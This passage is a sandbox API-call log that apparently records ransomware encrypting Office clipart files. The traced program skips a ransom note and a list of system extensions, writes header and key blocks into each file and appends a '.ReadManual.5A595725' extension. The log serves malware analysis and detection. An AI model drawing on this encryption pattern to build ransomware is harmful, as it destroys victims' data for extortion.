dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.942] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10476) returned 1 [0270.942] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x28ec, lpName=0x0) returned 0x184 [0270.942] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.943] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.943] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.945] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.945] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x28ec) returned 0x2f0000 [0270.945] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.945] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39161416844) returned 1 [0270.945] CloseHandle (hObject=0x184) returned 1 [0270.945] SetSecurityInfo () returned 0x57 [0270.946] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.946] CloseHandle (hObject=0x194) returned 1 [0270.946] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb24, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02417_.WMF", cAlternateFileName="")) returned 1 [0270.946] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02417_.WMF" | out: lpString1="NA02417_.WMF") returned="NA02417_.WMF" [0270.946] lstrcmpiW (lpString1="NA02417_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.946] StrStrIW (lpFirst="NA02417_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.946] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.946] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.946] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.946] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.946] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.946] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.946] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.946] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.946] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.946] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.946] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.946] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.946] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.946] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.946] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF" [0270.946] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF.ReadManual.5A595725" [0270.946] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF.ReadManual.5A595725") returned 87 [0270.947] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39161531711) returned 1 [0270.947] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf")) returned 0x20 [0270.947] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.947] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2852) returned 1 [0270.947] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb24, lpName=0x0) returned 0x184 [0270.947] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.948] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.948] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.949] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.950] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb24) returned 0x2f0000 [0270.950] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.950] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39161858680) returned 1 [0270.950] CloseHandle (hObject=0x184) returned 1 [0270.950] SetSecurityInfo () returned 0x57 [0270.950] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.950] CloseHandle (hObject=0x194) returned 1 [0270.950] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2fb8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02423_.WMF", cAlternateFileName="")) returned 1 [0270.950] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02423_.WMF" | out: lpString1="NA02423_.WMF") returned="NA02423_.WMF" [0270.950] lstrcmpiW (lpString1="NA02423_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.950] StrStrIW (lpFirst="NA02423_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.950] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.950] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.950] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.950] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.950] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.950] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.950] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.950] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.951] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.951] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.951] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.951] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.951] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.951] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.951] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF" [0270.951] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF.ReadManual.5A595725" [0270.951] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF.ReadManual.5A595725") returned 87 [0270.951] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39161957038) returned 1 [0270.951] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf")) returned 0x20 [0270.951] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.951] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12216) returned 1 [0270.951] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2fb8, lpName=0x0) returned 0x184 [0270.952] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.952] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.952] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.954] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.954] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2fb8) returned 0x2f0000 [0270.954] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.954] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39162324002) returned 1 [0270.955] CloseHandle (hObject=0x184) returned 1 [0270.955] SetSecurityInfo () returned 0x57 [0270.955] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.955] CloseHandle (hObject=0x194) returned 1 [0270.955] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x53c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02424_.WMF", cAlternateFileName="")) returned 1 [0270.955] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02424_.WMF" | out: lpString1="NA02424_.WMF") returned="NA02424_.WMF" [0270.955] lstrcmpiW (lpString1="NA02424_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.955] StrStrIW (lpFirst="NA02424_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.955] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.955] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.955] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.955] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.955] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.955] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.955] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.955] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.955] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.955] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.955] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.955] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.955] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.955] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.955] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF" [0270.955] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF.ReadManual.5A595725" [0270.955] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF.ReadManual.5A595725") returned 87 [0270.955] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39162421279) returned 1 [0270.955] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf")) returned 0x20 [0270.956] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.957] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1340) returned 1 [0270.957] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x53c, lpName=0x0) returned 0x184 [0270.957] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.957] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.957] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.959] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.959] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x53c) returned 0x2f0000 [0270.959] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.959] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39162813482) returned 1 [0270.959] CloseHandle (hObject=0x184) returned 1 [0270.959] SetSecurityInfo () returned 0x57 [0270.960] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.960] CloseHandle (hObject=0x194) returned 1 [0270.960] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1948, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02426_.WMF", cAlternateFileName="")) returned 1 [0270.960] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02426_.WMF" | out: lpString1="NA02426_.WMF") returned="NA02426_.WMF" [0270.960] lstrcmpiW (lpString1="NA02426_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.960] StrStrIW (lpFirst="NA02426_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.960] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.960] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.960] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.960] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.960] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.960] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.960] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.960] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.960] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.960] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.960] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.960] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.960] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.960] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.960] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF" [0270.960] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF.ReadManual.5A595725" [0270.960] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF.ReadManual.5A595725") returned 87 [0270.960] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39162912346) returned 1 [0270.960] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf")) returned 0x20 [0270.961] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.961] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6472) returned 1 [0270.961] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1948, lpName=0x0) returned 0x184 [0270.961] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.962] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.962] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.964] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.964] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1948) returned 0x2f0000 [0270.964] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.964] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39163285704) returned 1 [0270.964] CloseHandle (hObject=0x184) returned 1 [0270.964] SetSecurityInfo () returned 0x57 [0270.964] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.964] CloseHandle (hObject=0x194) returned 1 [0270.964] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c2c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02431_.WMF", cAlternateFileName="")) returned 1 [0270.964] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02431_.WMF" | out: lpString1="NA02431_.WMF") returned="NA02431_.WMF" [0270.964] lstrcmpiW (lpString1="NA02431_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.965] StrStrIW (lpFirst="NA02431_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.965] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.965] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.965] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.965] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.965] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.965] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.965] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.965] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.965] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.965] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.965] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.965] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.965] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.965] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.965] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF" [0270.965] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF.ReadManual.5A595725" [0270.965] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF.ReadManual.5A595725") returned 87 [0270.965] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39163382795) returned 1 [0270.965] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf")) returned 0x20 [0270.965] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.966] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7212) returned 1 [0270.966] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c2c, lpName=0x0) returned 0x184 [0270.966] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.966] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.966] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.968] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.968] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c2c) returned 0x2f0000 [0270.968] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.968] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39163718552) returned 1 [0270.968] CloseHandle (hObject=0x184) returned 1 